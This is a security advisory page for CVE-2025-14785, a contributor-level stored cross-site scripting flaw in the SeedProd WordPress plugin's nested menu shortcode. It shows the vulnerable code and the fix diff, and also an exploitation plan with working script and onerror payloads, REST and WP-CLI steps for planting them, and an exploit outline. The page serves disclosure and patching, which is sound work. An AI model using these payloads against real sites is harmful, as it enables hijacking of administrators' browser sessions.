CVE-2025-14785

Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode <= 6.20.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'seedprodnestedmenuwidget' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.20.3
Patched in
1d
Time to patch

Description

The Website Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `seedprodnestedmenuwidget` shortcode in all versions up to, and including, 6.20.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.20.2
PublishedJuly 7, 2026
Last updatedJuly 8, 2026
Affected plugincoming-soon

What Changed in the Fix

Changes introduced in v6.20.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14785 ## 1. Vulnerability Summary The **Website Builder by SeedProd** plugin (<= 6.20.2) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)** via the `seedprodnestedmenuwidget` shortcode. The vulnerability exists because the plu…

Show full research plan

Exploitation Research Plan - CVE-2025-14785

1. Vulnerability Summary

The Website Builder by SeedProd plugin (<= 6.20.2) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS) via the seedprodnestedmenuwidget shortcode. The vulnerability exists because the plugin fails to sanitize or escape the menudivider attribute before echoing it into the page content within a custom Menu Walker class. This allows an attacker with the ability to use shortcodes (Contributor level and above) to inject malicious JavaScript that executes when any user views the affected page.

2. Attack Vector Analysis

  • Vulnerable Shortcode: [seedprodnestedmenuwidget]
  • Vulnerable Attribute: menudivider
  • Authentication Requirement: Contributor level or higher (any role capable of creating/editing posts and using shortcodes).
  • Precondition: At least one WordPress Navigation Menu must exist, and the shortcode must reference it via the menu attribute for the Walker class to be invoked.

3. Code Flow

  1. Entry Point: The shortcode is registered in app/nestednavmenu.php:
    add_shortcode( 'seedprodnestedmenuwidget', 'seedprod_lite_wordpress_menuwidget' );
    
  2. Processing: The callback seedprod_lite_wordpress_menuwidget($atts) (in app/nestednavmenu.php) parses attributes:
    $menu_atts = shortcode_atts(
        array(
            'menu'        => '',
            'menudivider' => '',
            'layout'      => 'h',
        ),
        $atts
    );
    
  3. Sink Preparation: If menudivider is provided and layout is not 'v' (vertical), a new SeedProd_Lite_Menu_Walker is instantiated with the raw $navmenu_seperator (the menudivider attribute):
    if ( true === $walker_divider ) {
        $args = array(
            'menu'            => $navmenu_name,
            ...
            'walker'          => new SeedProd_Lite_Menu_Walker( $navmenu_seperator ),
        );
    }
    
  4. The Sink: Inside the SeedProd_Lite_Menu_Walker class in app/nestednavmenu.php, the end_el method appends the separator directly to the $output string without any escaping:
    public function end_el( &$output, $item, $depth = 0, $args = array() ) {
        $output .= '</li>';
        if ( 0 === $depth ) {
            if ( '' !== $this->separators ) {
                $output .= "<li class='separator menu-item'>" . $this->separators . '</li>';
            }
        }
    }
    

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post containing a shortcode. In standard WordPress environments:

  • Authenticated (Contributor+): No specific plugin-level nonce is required to save a post via the Gutenberg or Classic editor. The standard WordPress _wpnonce used in the post editor is sufficient.
  • Unauthenticated: Since this is a "Contributor+" vulnerability, unauthenticated exploitation is not directly supported by the shortcode path unless the plugin exposes an unauthenticated AJAX/REST endpoint that processes shortcodes (none identified in the provided source).

For the Automated Agent:

  1. Log in as a Contributor.
  2. The standard post creation flow handles nonces internally.

5. Exploitation Strategy

The goal is to create a post containing the malicious shortcode and verify that the payload executes.

Step 1: Create a Navigation Menu (via WP-CLI)

A menu must exist for the shortcode to render items and trigger the Walker's end_el method.

wp menu create "ExploitMenu"
wp menu item add-custom "ExploitMenu" "Home" "http://localhost/"

Step 2: Create a Contributor User

wp user create attacker attacker@example.com --role=contributor --user_pass=password123

Step 3: Inject the Payload

As the attacker user, create a post with the following shortcode payload:
Payload: [seedprodnestedmenuwidget menu="ExploitMenu" menudivider='<script>alert(document.domain)</script>']

HTTP Request (as Contributor):
Use http_request to submit a post.

  • URL: http://localhost:8080/wp-json/wp/v2/posts (or via standard post-new.php form).
  • Method: POST
  • Body:
    {
      "title": "Vulnerable Page",
      "content": "[seedprodnestedmenuwidget menu=\"ExploitMenu\" menudivider=\"<script>alert(document.domain)</script>\"]",
      "status": "publish"
    }
    

Note: Contributors can usually only set status to pending, which is sufficient for an Admin to view and trigger the XSS.

Step 4: Trigger the XSS

Navigate to the newly created post URL as any user (e.g., Admin).

6. Test Data Setup

  1. Menu: "ExploitMenu" with at least one item.
  2. User: "attacker" with contributor role.
  3. Post: A post/page containing: [seedprodnestedmenuwidget menu="ExploitMenu" menudivider='<img src=x onerror=alert(1)>'].

7. Expected Results

When the page is rendered, the HTML source should contain:

<li class='separator menu-item'><script>alert(document.domain)</script></li>

A JavaScript alert box showing the domain will appear in the browser.

8. Verification Steps

  1. Check Post Content:
    wp post list --post_type=post --format=csv | grep "Vulnerable Page"
    
  2. Verify Output via http_request:
    Fetch the frontend URL of the post and search for the raw payload string <script>alert(document.domain)</script>.

9. Alternative Approaches

If the standard menudivider attribute is filtered by WordPress core's shortcode parser (unlikely), try breaking out of the <li> tag:

  • Payload 2: [seedprodnestedmenuwidget menu="ExploitMenu" menudivider='</li></ul><script>alert(1)</script><ul><li>']
  • Payload 3 (Event Handler): [seedprodnestedmenuwidget menu="ExploitMenu" menudivider='<img src=x onerror=alert(1)>']

If the plugin's "Theme Builder" is active, look for AJAX actions like seedprod_lite_v2_create_template in admin/class-seedprod-admin.php which might allow similar injection via page-builder metadata.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Website Builder by SeedProd plugin (<= 6.20.2) is vulnerable to Stored Cross-Site Scripting via the 'seedprodnestedmenuwidget' shortcode. Authenticated users with Contributor-level permissions and above can inject arbitrary web scripts into pages via the 'menudivider' attribute, which is rendered without proper sanitization or output escaping.

Vulnerable Code

// app/nestednavmenu.php line 77
public function end_el( &$output, $item, $depth = 0, $args = array() ) {
	$output .= '</li>';

	if ( 0 === $depth ) {
		if ( '' !== $this->separators ) {
			$output .= "<li class='separator menu-item'>" . $this->separators . '</li>';
		}
	}
}

---

// app/nestednavmenu.php line 111
$navmenu_seperator = '';
if ( isset( $menu_atts['menudivider'] ) ) {
	$navmenu_seperator = $menu_atts['menudivider'];
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/coming-soon/6.20.2/app/nestednavmenu.php	2025-12-18 14:01:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/coming-soon/6.20.3/app/nestednavmenu.php	2026-06-09 12:15:50.000000000 +0000
@@ -77,7 +77,7 @@
 
 		if ( 0 === $depth ) {
 			if ( '' !== $this->separators ) {
-				$output .= "<li class='separator menu-item'>" . $this->separators . '</li>';
+				$output .= "<li class='separator menu-item'>" . esc_html( $this->separators ) . '</li>';
 			}
 		}
 	}
@@ -111,7 +111,7 @@
 	}
 	$navmenu_seperator = '';
 	if ( isset( $menu_atts['menudivider'] ) ) {
-		$navmenu_seperator = $menu_atts['menudivider'];
+		$navmenu_seperator = sanitize_text_field( $menu_atts['menudivider'] );
 	}
 	$layout = '';
 	if ( isset( $menu_atts['layout'] ) ) {

Exploit Outline

1. Authentication: Log in as a user with at least Contributor level permissions (capable of using shortcodes in posts). 2. Precondition: Ensure at least one WordPress Navigation Menu exists (e.g., 'Primary Menu'). 3. Injection: Create or edit a post and insert the following shortcode: [seedprodnestedmenuwidget menu="Primary Menu" menudivider="<script>alert(document.domain)</script>"]. 4. Trigger: Save the post (as a draft or for review). When an Administrator or any other user views the post/page on the frontend or in a preview, the script provided in the 'menudivider' attribute will execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.